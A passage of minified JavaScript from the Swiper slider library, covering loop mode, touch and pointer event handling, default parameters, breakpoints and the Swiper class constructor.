n&&(h.centeredSlides||0!==l.snapIndex?h.centeredSlides&&l.snapIndex<h.slidesPerView?l.slideTo(l.virtual.slides.length+l.snapIndex,0,!1,!0):l.snapIndex===l.snapGrid.length-1&&l.slideTo(l.virtual.slidesBefore,0,!1,!0):l.slideTo(l.virtual.slides.length,0,!1,!0)),l.allowSlidePrev=u,l.allowSlideNext=d,void l.emit("loopFix");let m=h.slidesPerView;"auto"===m?m=l.slidesPerViewDynamic():(m=Math.ceil(parseFloat(h.slidesPerView,10)),f&&m%2==0&&(m+=1));const v=h.slidesPerGroupAuto?m:h.slidesPerGroup;let y=v;y%v!=0&&(y+=v-y%v),y+=h.loopAdditionalSlides,l.loopedSlides=y;const b=l.grid&&h.grid&&h.grid.rows>1;c.length<m+y?g("Swiper Loop Warning: The number of slides is not enough for loop mode, it will be disabled and not function properly. You need to add more slides (or make duplicates) or lower the values of slidesPerView and slidesPerGroup parameters"):b&&"row"===h.grid.fill&&g("Swiper Loop Warning: Loop mode is not compatible with grid.fill = `row`");const w=[],_=[];let x=l.activeIndex;void 0===s?s=l.getSlideIndex(c.filter((e=>e.classList.contains(h.slideActiveClass)))[0]):x=s;const T="next"===i||!i,E="prev"===i||!i;let S=0,C=0;const M=b?Math.ceil(c.length/h.grid.rows):c.length,k=(b?c[s].column:s)+(f&&void 0===r?-m/2+.5:0);if(k<y){S=Math.max(y-k,v);for(let e=0;e<y-k;e+=1){const t=e-Math.floor(e/M)*M;if(b){const e=M-t-1;for(let t=c.length-1;t>=0;t-=1)c[t].column===e&&w.push(t)}else w.push(M-t-1)}}else if(k+m>M-y){C=Math.max(k-(M-2*y),v);for(let e=0;e<C;e+=1){const t=e-Math.floor(e/M)*M;b?c.forEach(((e,n)=>{e.column===t&&_.push(n)})):_.push(t)}}if(l.__preventObserver__=!0,requestAnimationFrame((()=>{l.__preventObserver__=!1})),E&&w.forEach((e=>{c[e].swiperLoopMoveDOM=!0,p.prepend(c[e]),c[e].swiperLoopMoveDOM=!1})),T&&_.forEach((e=>{c[e].swiperLoopMoveDOM=!0,p.append(c[e]),c[e].swiperLoopMoveDOM=!1})),l.recalcSlides(),"auto"===h.slidesPerView?l.updateSlides():b&&(w.length>0&&E||_.length>0&&T)&&l.slides.forEach(((e,t)=>{l.grid.updateSlide(t,e,l.slides)})),h.watchSlidesProgress&&l.updateSlidesOffset(),n)if(w.length>0&&E){if(void 0===t){const e=l.slidesGrid[x],t=l.slidesGrid[x+S]-e;a?l.setTranslate(l.translate-t):(l.slideTo(x+S,0,!1,!0),r&&(l.touchEventsData.startTranslate=l.touchEventsData.startTranslate-t,l.touchEventsData.currentTranslate=l.touchEventsData.currentTranslate-t))}else if(r){const e=b?w.length/h.grid.rows:w.length;l.slideTo(l.activeIndex+e,0,!1,!0),l.touchEventsData.currentTranslate=l.translate}}else if(_.length>0&&T)if(void 0===t){const e=l.slidesGrid[x],t=l.slidesGrid[x-C]-e;a?l.setTranslate(l.translate-t):(l.slideTo(x-C,0,!1,!0),r&&(l.touchEventsData.startTranslate=l.touchEventsData.startTranslate-t,l.touchEventsData.currentTranslate=l.touchEventsData.currentTranslate-t))}else{const e=b?_.length/h.grid.rows:_.length;l.slideTo(l.activeIndex-e,0,!1,!0)}if(l.allowSlidePrev=u,l.allowSlideNext=d,l.controller&&l.controller.control&&!o){const e={slideRealIndex:t,direction:i,setTranslate:r,activeSlideIndex:s,byController:!0};Array.isArray(l.controller.control)?l.controller.control.forEach((t=>{!t.destroyed&&t.params.loop&&t.loopFix({...e,slideTo:t.params.slidesPerView===h.slidesPerView&&n})})):l.controller.control instanceof l.constructor&&l.controller.control.params.loop&&l.controller.control.loopFix({...e,slideTo:l.controller.control.params.slidesPerView===h.slidesPerView&&n})}l.emit("loopFix")},loopDestroy:function(){const e=this,{params:t,slidesEl:n}=e;if(!t.loop||e.virtual&&e.params.virtual.enabled)return;e.recalcSlides();const i=[];e.slides.forEach((e=>{const t=void 0===e.swiperSlideIndex?1*e.getAttribute("data-swiper-slide-index"):e.swiperSlideIndex;i[t]=e})),e.slides.forEach((e=>{e.removeAttribute("data-swiper-slide-index")})),i.forEach((e=>{n.append(e)})),e.recalcSlides(),e.slideTo(e.realIndex,0)}};function F(e,t,n){const i=s(),{params:r}=e,o=r.edgeSwipeDetection,a=r.edgeSwipeThreshold;return!o||!(n<=a||n>=i.innerWidth-a)||"prevent"===o&&(t.preventDefault(),!0)}function j(e){const t=this,n=i();let r=e;r.originalEvent&&(r=r.originalEvent);const o=t.touchEventsData;if("pointerdown"===r.type){if(null!==o.pointerId&&o.pointerId!==r.pointerId)return;o.pointerId=r.pointerId}else"touchstart"===r.type&&1===r.targetTouches.length&&(o.touchId=r.targetTouches[0].identifier);if("touchstart"===r.type)return void F(t,r,r.targetTouches[0].pageX);const{params:a,touches:c,enabled:u}=t;if(!u)return;if(!a.simulateTouch&&"mouse"===r.pointerType)return;if(t.animating&&a.preventInteractionOnTransition)return;!t.animating&&a.cssMode&&a.loop&&t.loopFix();let d=r.target;if("wrapper"===a.touchEventsTarget&&!t.wrapperEl.contains(d))return;if("which"in r&&3===r.which)return;if("button"in r&&r.button>0)return;if(o.isTouched&&o.isMoved)return;const p=!!a.noSwipingClass&&""!==a.noSwipingClass,h=r.composedPath?r.composedPath():r.path;p&&r.target&&r.target.shadowRoot&&h&&(d=h[0]);const f=a.noSwipingSelector?a.noSwipingSelector:`.${a.noSwipingClass}`,m=!(!r.target||!r.target.shadowRoot);if(a.noSwiping&&(m?function(e,t){return void 0===t&&(t=this),function t(n){if(!n||n===i()||n===s())return null;n.assignedSlot&&(n=n.assignedSlot);const r=n.closest(e);return r||n.getRootNode?r||t(n.getRootNode().host):null}(t)}(f,d):d.closest(f)))return void(t.allowClick=!0);if(a.swipeHandler&&!d.closest(a.swipeHandler))return;c.currentX=r.pageX,c.currentY=r.pageY;const g=c.currentX,v=c.currentY;if(!F(t,r,g))return;Object.assign(o,{isTouched:!0,isMoved:!1,allowTouchCallbacks:!0,isScrolling:void 0,startMoving:void 0}),c.startX=g,c.startY=v,o.touchStartTime=l(),t.allowClick=!0,t.updateSize(),t.swipeDirection=void 0,a.threshold>0&&(o.allowThresholdMove=!1);let y=!0;d.matches(o.focusableElements)&&(y=!1,"SELECT"===d.nodeName&&(o.isTouched=!1)),n.activeElement&&n.activeElement.matches(o.focusableElements)&&n.activeElement!==d&&n.activeElement.blur();const b=y&&t.allowTouchMove&&a.touchStartPreventDefault;!a.touchStartForcePreventDefault&&!b||d.isContentEditable||r.preventDefault(),a.freeMode&&a.freeMode.enabled&&t.freeMode&&t.animating&&!a.cssMode&&t.freeMode.onTouchStart(),t.emit("touchStart",r)}function H(e){const t=i(),n=this,r=n.touchEventsData,{params:s,touches:o,rtlTranslate:a,enabled:c}=n;if(!c)return;if(!s.simulateTouch&&"mouse"===e.pointerType)return;let u,d=e;if(d.originalEvent&&(d=d.originalEvent),"pointermove"===d.type){if(null!==r.touchId)return;if(d.pointerId!==r.pointerId)return}if("touchmove"===d.type){if(u=[...d.changedTouches].filter((e=>e.identifier===r.touchId))[0],!u||u.identifier!==r.touchId)return}else u=d;if(!r.isTouched)return void(r.startMoving&&r.isScrolling&&n.emit("touchMoveOpposite",d));const p=u.pageX,h=u.pageY;if(d.preventedByNestedSwiper)return o.startX=p,void(o.startY=h);if(!n.allowTouchMove)return d.target.matches(r.focusableElements)||(n.allowClick=!1),void(r.isTouched&&(Object.assign(o,{startX:p,startY:h,currentX:p,currentY:h}),r.touchStartTime=l()));if(s.touchReleaseOnEdges&&!s.loop)if(n.isVertical()){if(h<o.startY&&n.translate<=n.maxTranslate()||h>o.startY&&n.translate>=n.minTranslate())return r.isTouched=!1,void(r.isMoved=!1)}else if(p<o.startX&&n.translate<=n.maxTranslate()||p>o.startX&&n.translate>=n.minTranslate())return;if(t.activeElement&&d.target===t.activeElement&&d.target.matches(r.focusableElements))return r.isMoved=!0,void(n.allowClick=!1);r.allowTouchCallbacks&&n.emit("touchMove",d),o.previousX=o.currentX,o.previousY=o.currentY,o.currentX=p,o.currentY=h;const f=o.currentX-o.startX,m=o.currentY-o.startY;if(n.params.threshold&&Math.sqrt(f**2+m**2)<n.params.threshold)return;if(void 0===r.isScrolling){let e;n.isHorizontal()&&o.currentY===o.startY||n.isVertical()&&o.currentX===o.startX?r.isScrolling=!1:f*f+m*m>=25&&(e=180*Math.atan2(Math.abs(m),Math.abs(f))/Math.PI,r.isScrolling=n.isHorizontal()?e>s.touchAngle:90-e>s.touchAngle)}if(r.isScrolling&&n.emit("touchMoveOpposite",d),void 0===r.startMoving&&(o.currentX===o.startX&&o.currentY===o.startY||(r.startMoving=!0)),r.isScrolling)return void(r.isTouched=!1);if(!r.startMoving)return;n.allowClick=!1,!s.cssMode&&d.cancelable&&d.preventDefault(),s.touchMoveStopPropagation&&!s.nested&&d.stopPropagation();let g=n.isHorizontal()?f:m,v=n.isHorizontal()?o.currentX-o.previousX:o.currentY-o.previousY;s.oneWayMovement&&(g=Math.abs(g)*(a?1:-1),v=Math.abs(v)*(a?1:-1)),o.diff=g,g*=s.touchRatio,a&&(g=-g,v=-v);const y=n.touchesDirection;n.swipeDirection=g>0?"prev":"next",n.touchesDirection=v>0?"prev":"next";const b=n.params.loop&&!s.cssMode,w="next"===n.touchesDirection&&n.allowSlideNext||"prev"===n.touchesDirection&&n.allowSlidePrev;if(!r.isMoved){if(b&&w&&n.loopFix({direction:n.swipeDirection}),r.startTranslate=n.getTranslate(),n.setTransition(0),n.animating){const e=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});n.wrapperEl.dispatchEvent(e)}r.allowMomentumBounce=!1,!s.grabCursor||!0!==n.allowSlideNext&&!0!==n.allowSlidePrev||n.setGrabCursor(!0),n.emit("sliderFirstMove",d)}if((new Date).getTime(),r.isMoved&&r.allowThresholdMove&&y!==n.touchesDirection&&b&&w&&Math.abs(g)>=1)return Object.assign(o,{startX:p,startY:h,currentX:p,currentY:h,startTranslate:r.currentTranslate}),r.loopSwapReset=!0,void(r.startTranslate=r.currentTranslate);n.emit("sliderMove",d),r.isMoved=!0,r.currentTranslate=g+r.startTranslate;let _=!0,x=s.resistanceRatio;if(s.touchReleaseOnEdges&&(x=0),g>0?(b&&w&&r.allowThresholdMove&&r.currentTranslate>(s.centeredSlides?n.minTranslate()-n.slidesSizesGrid[n.activeIndex+1]:n.minTranslate())&&n.loopFix({direction:"prev",setTranslate:!0,activeSlideIndex:0}),r.currentTranslate>n.minTranslate()&&(_=!1,s.resistance&&(r.currentTranslate=n.minTranslate()-1+(-n.minTranslate()+r.startTranslate+g)**x))):g<0&&(b&&w&&r.allowThresholdMove&&r.currentTranslate<(s.centeredSlides?n.maxTranslate()+n.slidesSizesGrid[n.slidesSizesGrid.length-1]:n.maxTranslate())&&n.loopFix({direction:"next",setTranslate:!0,activeSlideIndex:n.slides.length-("auto"===s.slidesPerView?n.slidesPerViewDynamic():Math.ceil(parseFloat(s.slidesPerView,10)))}),r.currentTranslate<n.maxTranslate()&&(_=!1,s.resistance&&(r.currentTranslate=n.maxTranslate()+1-(n.maxTranslate()-r.startTranslate-g)**x))),_&&(d.preventedByNestedSwiper=!0),!n.allowSlideNext&&"next"===n.swipeDirection&&r.currentTranslate<r.startTranslate&&(r.currentTranslate=r.startTranslate),!n.allowSlidePrev&&"prev"===n.swipeDirection&&r.currentTranslate>r.startTranslate&&(r.currentTranslate=r.startTranslate),n.allowSlidePrev||n.allowSlideNext||(r.currentTranslate=r.startTranslate),s.threshold>0){if(!(Math.abs(g)>s.threshold||r.allowThresholdMove))return void(r.currentTranslate=r.startTranslate);if(!r.allowThresholdMove)return r.allowThresholdMove=!0,o.startX=o.currentX,o.startY=o.currentY,r.currentTranslate=r.startTranslate,void(o.diff=n.isHorizontal()?o.currentX-o.startX:o.currentY-o.startY)}s.followFinger&&!s.cssMode&&((s.freeMode&&s.freeMode.enabled&&n.freeMode||s.watchSlidesProgress)&&(n.updateActiveIndex(),n.updateSlidesClasses()),s.freeMode&&s.freeMode.enabled&&n.freeMode&&n.freeMode.onTouchMove(),n.updateProgress(r.currentTranslate),n.setTranslate(r.currentTranslate))}function q(e){const t=this,n=t.touchEventsData;let i,r=e;if(r.originalEvent&&(r=r.originalEvent),"touchend"===r.type||"touchcancel"===r.type){if(i=[...r.changedTouches].filter((e=>e.identifier===n.touchId))[0],!i||i.identifier!==n.touchId)return}else{if(null!==n.touchId)return;if(r.pointerId!==n.pointerId)return;i=r}if(["pointercancel","pointerout","pointerleave","contextmenu"].includes(r.type)&&(!["pointercancel","contextmenu"].includes(r.type)||!t.browser.isSafari&&!t.browser.isWebView))return;n.pointerId=null,n.touchId=null;const{params:s,touches:o,rtlTranslate:c,slidesGrid:u,enabled:d}=t;if(!d)return;if(!s.simulateTouch&&"mouse"===r.pointerType)return;if(n.allowTouchCallbacks&&t.emit("touchEnd",r),n.allowTouchCallbacks=!1,!n.isTouched)return n.isMoved&&s.grabCursor&&t.setGrabCursor(!1),n.isMoved=!1,void(n.startMoving=!1);s.grabCursor&&n.isMoved&&n.isTouched&&(!0===t.allowSlideNext||!0===t.allowSlidePrev)&&t.setGrabCursor(!1);const p=l(),h=p-n.touchStartTime;if(t.allowClick){const e=r.path||r.composedPath&&r.composedPath();t.updateClickedSlide(e&&e[0]||r.target,e),t.emit("tap click",r),h<300&&p-n.lastClickTime<300&&t.emit("doubleTap doubleClick",r)}if(n.lastClickTime=l(),a((()=>{t.destroyed||(t.allowClick=!0)})),!n.isTouched||!n.isMoved||!t.swipeDirection||0===o.diff&&!n.loopSwapReset||n.currentTranslate===n.startTranslate&&!n.loopSwapReset)return n.isTouched=!1,n.isMoved=!1,void(n.startMoving=!1);let f;if(n.isTouched=!1,n.isMoved=!1,n.startMoving=!1,f=s.followFinger?c?t.translate:-t.translate:-n.currentTranslate,s.cssMode)return;if(s.freeMode&&s.freeMode.enabled)return void t.freeMode.onTouchEnd({currentPos:f});const m=f>=-t.maxTranslate()&&!t.params.loop;let g=0,v=t.slidesSizesGrid[0];for(let e=0;e<u.length;e+=e<s.slidesPerGroupSkip?1:s.slidesPerGroup){const t=e<s.slidesPerGroupSkip-1?1:s.slidesPerGroup;void 0!==u[e+t]?(m||f>=u[e]&&f<u[e+t])&&(g=e,v=u[e+t]-u[e]):(m||f>=u[e])&&(g=e,v=u[u.length-1]-u[u.length-2])}let y=null,b=null;s.rewind&&(t.isBeginning?b=s.virtual&&s.virtual.enabled&&t.virtual?t.virtual.slides.length-1:t.slides.length-1:t.isEnd&&(y=0));const w=(f-u[g])/v,_=g<s.slidesPerGroupSkip-1?1:s.slidesPerGroup;if(h>s.longSwipesMs){if(!s.longSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&(w>=s.longSwipesRatio?t.slideTo(s.rewind&&t.isEnd?y:g+_):t.slideTo(g)),"prev"===t.swipeDirection&&(w>1-s.longSwipesRatio?t.slideTo(g+_):null!==b&&w<0&&Math.abs(w)>s.longSwipesRatio?t.slideTo(b):t.slideTo(g))}else{if(!s.shortSwipes)return void t.slideTo(t.activeIndex);!t.navigation||r.target!==t.navigation.nextEl&&r.target!==t.navigation.prevEl?("next"===t.swipeDirection&&t.slideTo(null!==y?y:g+_),"prev"===t.swipeDirection&&t.slideTo(null!==b?b:g)):r.target===t.navigation.nextEl?t.slideTo(g+_):t.slideTo(g)}}function B(){const e=this,{params:t,el:n}=e;if(n&&0===n.offsetWidth)return;t.breakpoints&&e.setBreakpoint();const{allowSlideNext:i,allowSlidePrev:r,snapGrid:s}=e,o=e.virtual&&e.params.virtual.enabled;e.allowSlideNext=!0,e.allowSlidePrev=!0,e.updateSize(),e.updateSlides(),e.updateSlidesClasses();const a=o&&t.loop;!("auto"===t.slidesPerView||t.slidesPerView>1)||!e.isEnd||e.isBeginning||e.params.centeredSlides||a?e.params.loop&&!o?e.slideToLoop(e.realIndex,0,!1,!0):e.slideTo(e.activeIndex,0,!1,!0):e.slideTo(e.slides.length-1,0,!1,!0),e.autoplay&&e.autoplay.running&&e.autoplay.paused&&(clearTimeout(e.autoplay.resizeTimeout),e.autoplay.resizeTimeout=setTimeout((()=>{e.autoplay&&e.autoplay.running&&e.autoplay.paused&&e.autoplay.resume()}),500)),e.allowSlidePrev=r,e.allowSlideNext=i,e.params.watchOverflow&&s!==e.snapGrid&&e.checkOverflow()}function W(e){const t=this;t.enabled&&(t.allowClick||(t.params.preventClicks&&e.preventDefault(),t.params.preventClicksPropagation&&t.animating&&(e.stopPropagation(),e.stopImmediatePropagation())))}function X(){const e=this,{wrapperEl:t,rtlTranslate:n,enabled:i}=e;if(!i)return;let r;e.previousTranslate=e.translate,e.isHorizontal()?e.translate=-t.scrollLeft:e.translate=-t.scrollTop,0===e.translate&&(e.translate=0),e.updateActiveIndex(),e.updateSlidesClasses();const s=e.maxTranslate()-e.minTranslate();r=0===s?0:(e.translate-e.minTranslate())/s,r!==e.progress&&e.updateProgress(n?-e.translate:e.translate),e.emit("setTranslate",e.translate,!1)}function Y(e){const t=this;P(t,e.target),t.params.cssMode||"auto"!==t.params.slidesPerView&&!t.params.autoHeight||t.update()}function G(){const e=this;e.documentTouchHandlerProceeded||(e.documentTouchHandlerProceeded=!0,e.params.touchReleaseOnEdges&&(e.el.style.touchAction="auto"))}const V=(e,t)=>{const n=i(),{params:r,el:s,wrapperEl:o,device:a}=e,l=!!r.nested,c="on"===t?"addEventListener":"removeEventListener",u=t;n[c]("touchstart",e.onDocumentTouchStart,{passive:!1,capture:l}),s[c]("touchstart",e.onTouchStart,{passive:!1}),s[c]("pointerdown",e.onTouchStart,{passive:!1}),n[c]("touchmove",e.onTouchMove,{passive:!1,capture:l}),n[c]("pointermove",e.onTouchMove,{passive:!1,capture:l}),n[c]("touchend",e.onTouchEnd,{passive:!0}),n[c]("pointerup",e.onTouchEnd,{passive:!0}),n[c]("pointercancel",e.onTouchEnd,{passive:!0}),n[c]("touchcancel",e.onTouchEnd,{passive:!0}),n[c]("pointerout",e.onTouchEnd,{passive:!0}),n[c]("pointerleave",e.onTouchEnd,{passive:!0}),n[c]("contextmenu",e.onTouchEnd,{passive:!0}),(r.preventClicks||r.preventClicksPropagation)&&s[c]("click",e.onClick,!0),r.cssMode&&o[c]("scroll",e.onScroll),r.updateOnWindowResize?e[u](a.ios||a.android?"resize orientationchange observerUpdate":"resize observerUpdate",B,!0):e[u]("observerUpdate",B,!0),s[c]("load",e.onLoad,{capture:!0})},U=(e,t)=>e.grid&&t.grid&&t.grid.rows>1;var Z={init:!0,direction:"horizontal",oneWayMovement:!1,touchEventsTarget:"wrapper",initialSlide:0,speed:300,cssMode:!1,updateOnWindowResize:!0,resizeObserver:!0,nested:!1,createElements:!1,eventsPrefix:"swiper",enabled:!0,focusableElements:"input, select, option, textarea, button, video, label",width:null,height:null,preventInteractionOnTransition:!1,userAgent:null,url:null,edgeSwipeDetection:!1,edgeSwipeThreshold:20,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",breakpoints:void 0,breakpointsBase:"window",spaceBetween:0,slidesPerView:1,slidesPerGroup:1,slidesPerGroupSkip:0,slidesPerGroupAuto:!1,centeredSlides:!1,centeredSlidesBounds:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,normalizeSlideIndex:!0,centerInsufficientSlides:!1,watchOverflow:!0,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,allowTouchMove:!0,threshold:5,touchMoveStopPropagation:!1,touchStartPreventDefault:!0,touchStartForcePreventDefault:!1,touchReleaseOnEdges:!1,uniqueNavElements:!0,resistance:!0,resistanceRatio:.85,watchSlidesProgress:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,loop:!1,loopAddBlankSlides:!0,loopAdditionalSlides:0,loopPreventsSliding:!0,rewind:!1,allowSlidePrev:!0,allowSlideNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",noSwipingSelector:null,passiveListeners:!0,maxBackfaceHiddenSlides:10,containerModifierClass:"swiper-",slideClass:"swiper-slide",slideBlankClass:"swiper-slide-blank",slideActiveClass:"swiper-slide-active",slideVisibleClass:"swiper-slide-visible",slideFullyVisibleClass:"swiper-slide-fully-visible",slideNextClass:"swiper-slide-next",slidePrevClass:"swiper-slide-prev",wrapperClass:"swiper-wrapper",lazyPreloaderClass:"swiper-lazy-preloader",lazyPreloadPrevNext:0,runCallbacksOnInit:!0,_emitClasses:!1};function K(e,t){return function(n){void 0===n&&(n={});const i=Object.keys(n)[0],r=n[i];"object"==typeof r&&null!==r?(!0===e[i]&&(e[i]={enabled:!0}),"navigation"===i&&e[i]&&e[i].enabled&&!e[i].prevEl&&!e[i].nextEl&&(e[i].auto=!0),["pagination","scrollbar"].indexOf(i)>=0&&e[i]&&e[i].enabled&&!e[i].el&&(e[i].auto=!0),i in e&&"enabled"in r?("object"!=typeof e[i]||"enabled"in e[i]||(e[i].enabled=!0),e[i]||(e[i]={enabled:!1}),d(t,n)):d(t,n)):d(t,n)}}const Q={eventsEmitter:O,update:I,translate:z,transition:{setTransition:function(e,t){const n=this;n.params.cssMode||(n.wrapperEl.style.transitionDuration=`${e}ms`,n.wrapperEl.style.transitionDelay=0===e?"0ms":""),n.emit("setTransition",e,t)},transitionStart:function(e,t){void 0===e&&(e=!0);const n=this,{params:i}=n;i.cssMode||(i.autoHeight&&n.updateAutoHeight(),N({swiper:n,runCallbacks:e,direction:t,step:"Start"}))},transitionEnd:function(e,t){void 0===e&&(e=!0);const n=this,{params:i}=n;n.animating=!1,i.cssMode||(n.setTransition(0),N({swiper:n,runCallbacks:e,direction:t,step:"End"}))}},slide:R,loop:$,grabCursor:{setGrabCursor:function(e){const t=this;if(!t.params.simulateTouch||t.params.watchOverflow&&t.isLocked||t.params.cssMode)return;const n="container"===t.params.touchEventsTarget?t.el:t.wrapperEl;t.isElement&&(t.__preventObserver__=!0),n.style.cursor="move",n.style.cursor=e?"grabbing":"grab",t.isElement&&requestAnimationFrame((()=>{t.__preventObserver__=!1}))},unsetGrabCursor:function(){const e=this;e.params.watchOverflow&&e.isLocked||e.params.cssMode||(e.isElement&&(e.__preventObserver__=!0),e["container"===e.params.touchEventsTarget?"el":"wrapperEl"].style.cursor="",e.isElement&&requestAnimationFrame((()=>{e.__preventObserver__=!1})))}},events:{attachEvents:function(){const e=this,{params:t}=e;e.onTouchStart=j.bind(e),e.onTouchMove=H.bind(e),e.onTouchEnd=q.bind(e),e.onDocumentTouchStart=G.bind(e),t.cssMode&&(e.onScroll=X.bind(e)),e.onClick=W.bind(e),e.onLoad=Y.bind(e),V(e,"on")},detachEvents:function(){V(this,"off")}},breakpoints:{setBreakpoint:function(){const e=this,{realIndex:t,initialized:n,params:i,el:r}=e,s=i.breakpoints;if(!s||s&&0===Object.keys(s).length)return;const o=e.getBreakpoint(s,e.params.breakpointsBase,e.el);if(!o||e.currentBreakpoint===o)return;const a=(o in s?s[o]:void 0)||e.originalParams,l=U(e,i),c=U(e,a),u=i.enabled;l&&!c?(r.classList.remove(`${i.containerModifierClass}grid`,`${i.containerModifierClass}grid-column`),e.emitContainerClasses()):!l&&c&&(r.classList.add(`${i.containerModifierClass}grid`),(a.grid.fill&&"column"===a.grid.fill||!a.grid.fill&&"column"===i.grid.fill)&&r.classList.add(`${i.containerModifierClass}grid-column`),e.emitContainerClasses()),["navigation","pagination","scrollbar"].forEach((t=>{if(void 0===a[t])return;const n=i[t]&&i[t].enabled,r=a[t]&&a[t].enabled;n&&!r&&e[t].disable(),!n&&r&&e[t].enable()}));const p=a.direction&&a.direction!==i.direction,h=i.loop&&(a.slidesPerView!==i.slidesPerView||p),f=i.loop;p&&n&&e.changeDirection(),d(e.params,a);const m=e.params.enabled,g=e.params.loop;Object.assign(e,{allowTouchMove:e.params.allowTouchMove,allowSlideNext:e.params.allowSlideNext,allowSlidePrev:e.params.allowSlidePrev}),u&&!m?e.disable():!u&&m&&e.enable(),e.currentBreakpoint=o,e.emit("_beforeBreakpoint",a),n&&(h?(e.loopDestroy(),e.loopCreate(t),e.updateSlides()):!f&&g?(e.loopCreate(t),e.updateSlides()):f&&!g&&e.loopDestroy()),e.emit("breakpoint",a)},getBreakpoint:function(e,t,n){if(void 0===t&&(t="window"),!e||"container"===t&&!n)return;let i=!1;const r=s(),o="window"===t?r.innerHeight:n.clientHeight,a=Object.keys(e).map((e=>{if("string"==typeof e&&0===e.indexOf("@")){const t=parseFloat(e.substr(1));return{value:o*t,point:e}}return{value:e,point:e}}));a.sort(((e,t)=>parseInt(e.value,10)-parseInt(t.value,10)));for(let e=0;e<a.length;e+=1){const{point:s,value:o}=a[e];"window"===t?r.matchMedia(`(min-width: ${o}px)`).matches&&(i=s):o<=n.clientWidth&&(i=s)}return i||"max"}},checkOverflow:{checkOverflow:function(){const e=this,{isLocked:t,params:n}=e,{slidesOffsetBefore:i}=n;if(i){const t=e.slides.length-1,n=e.slidesGrid[t]+e.slidesSizesGrid[t]+2*i;e.isLocked=e.size>n}else e.isLocked=1===e.snapGrid.length;!0===n.allowSlideNext&&(e.allowSlideNext=!e.isLocked),!0===n.allowSlidePrev&&(e.allowSlidePrev=!e.isLocked),t&&t!==e.isLocked&&(e.isEnd=!1),t!==e.isLocked&&e.emit(e.isLocked?"lock":"unlock")}},classes:{addClasses:function(){const e=this,{classNames:t,params:n,rtl:i,el:r,device:s}=e,o=function(e,t){const n=[];return e.forEach((e=>{"object"==typeof e?Object.keys(e).forEach((i=>{e[i]&&n.push(t+i)})):"string"==typeof e&&n.push(t+e)})),n}(["initialized",n.direction,{"free-mode":e.params.freeMode&&n.freeMode.enabled},{autoheight:n.autoHeight},{rtl:i},{grid:n.grid&&n.grid.rows>1},{"grid-column":n.grid&&n.grid.rows>1&&"column"===n.grid.fill},{android:s.android},{ios:s.ios},{"css-mode":n.cssMode},{centered:n.cssMode&&n.centeredSlides},{"watch-progress":n.watchSlidesProgress}],n.containerModifierClass);t.push(...o),r.classList.add(...t),e.emitContainerClasses()},removeClasses:function(){const{el:e,classNames:t}=this;e.classList.remove(...t),this.emitContainerClasses()}}},J={};class ee{constructor(){let e,t;for(var n=arguments.length,r=new Array(n),s=0;s<n;s++)r[s]=arguments[s];1===r.length&&r[0].constructor&&"Object"===Object.prototype.toString.call(r[0]).slice(8,-1)?t=r[0]:[e,t]=r,t||(t={}),t=d({},t),e&&!t.el&&(t.el=e);const o=i();if(t.el&&"string"==typeof t.el&&o.querySelectorAll(t.el).length>1){const e=[];return o.querySelectorAll(t.el).forEach((n=>{const i=d({},t,{el:n});e.push(new ee(i))})),e}const a=this;a.__swiper__=!0,a.support=M(),a.device=k({userAgent:t.userAgent}),a.browser=A(),a.eventsListeners={},a.eventsAnyListeners=[],a.modules=[...a.__modules__],t.modules&&Array.isArray(t.modules)&&a.modules.push(...t.modules);const l={};a.modules.forEach((e=>{e({params:t,swiper:a,extendParams:K(t,l),on:a.on.bind(a),once:a.once.bind(a),off:a.off.bind(a),emit:a.emit.bind(a)})}));const c=d({},Z,l);return a.params=d({},c,J,t),a.originalParams=d({},a.params),a.passedParams=d({},t),a.params&&a.params.on&&Object.keys(a.params.on).forEach((e=>{a.on(e,a.params.on[e])})),a.params&&a.params.onAny&&a.onAny(a.params.onAny),Object.assign(a,{enabled:a.params.enabled,el:e,classNames:[],slides:[],slidesGrid:[],snapGrid:[],slidesSizesGrid:[],isHorizontal:()=>"horizontal"===a.params.direction,isVertical:()=>"vertical"===a.params.direction,activeIndex:0,realIndex:0,isBeginning:!0,isEnd:!1,translate:0,previousTranslate:0,progress:0,velocity:0,animating:!1,cssOverflowAdjustment(){return Math.trunc(this.translate/2**23)*2**23},allowSlideNext:a.params.allowSlideNext,allowSlidePrev:a.params.allowSlidePrev,touchEventsData:{isTouched:void 0,isMoved:void 0,allowTouchCallbacks:void 0,touchStartTime:void 0,isScrolling:void 0,currentTranslate:void 0,startTranslate:void 0,allowThresholdMove:void 0,focusableElements:a.params.focusableElements,lastClickTime:0,clickTimeout:void 0,velocities:[],allowMomentumBounce:void 0,startMoving:void 0,pointerId:null,touchId:null},allowClick:!0,allowTouchMove:a.params.allowTouchMove,touches:{startX:0,startY:0,currentX:0,currentY:0,diff:0},imagesToLoad:[],imagesLoaded:0}),a.emit("_swiper"),a.params.init&&a.init(),a}getDirectionLabel(e){return this.isHorizontal()?e:{width:"height","margin-top":"margin-left","margin-bottom ":"margin-right","margin-left":"margin-top","margin-right":"margin-bottom","padding-left":"padding-top","padding-right":"padding-bottom",marginRight:"marginBottom"}[e]}getSlideIndex(e){const{slidesEl:t,params:n}=this,i=w(m(t,`.${n.slideClass}, swiper-slide`)[0]);return w(e)-i}getSlideIndexByData(e){return this.getSlideIndex(this.slides.filter((t=>1*t.getAttribute("data-swiper-slide-index")===e))[0])}recalcSlides(){const{slidesEl:e,params:t}=this;this.slides=m(e,`.${t.slideClass}, swiper-slide`)}enable(){const e=this;e.enabled||(e.enabled=!0,e.params.grabCursor&&e.setGrabCursor(),e.emit("enable"))}disable(){const e=this;e.enabled&&(e.enabled=!1,e.params.grabCursor&&e.unsetGrabCursor(),e.emit("disable"))}setProgress(e,t){const n=this;e=Math.min(Math.max(e,0),1);const i=n.minTranslate(),r=(n.maxTranslate()-i)*e+i;n.translateTo(r,void 0===t?0:t),n.updateActiveIndex(),n.updateSlidesClasses()}emitContainerClasses(){const e=this;if(!e.params._emitClasses||!e.el)return;const t=e.el.className.split(" 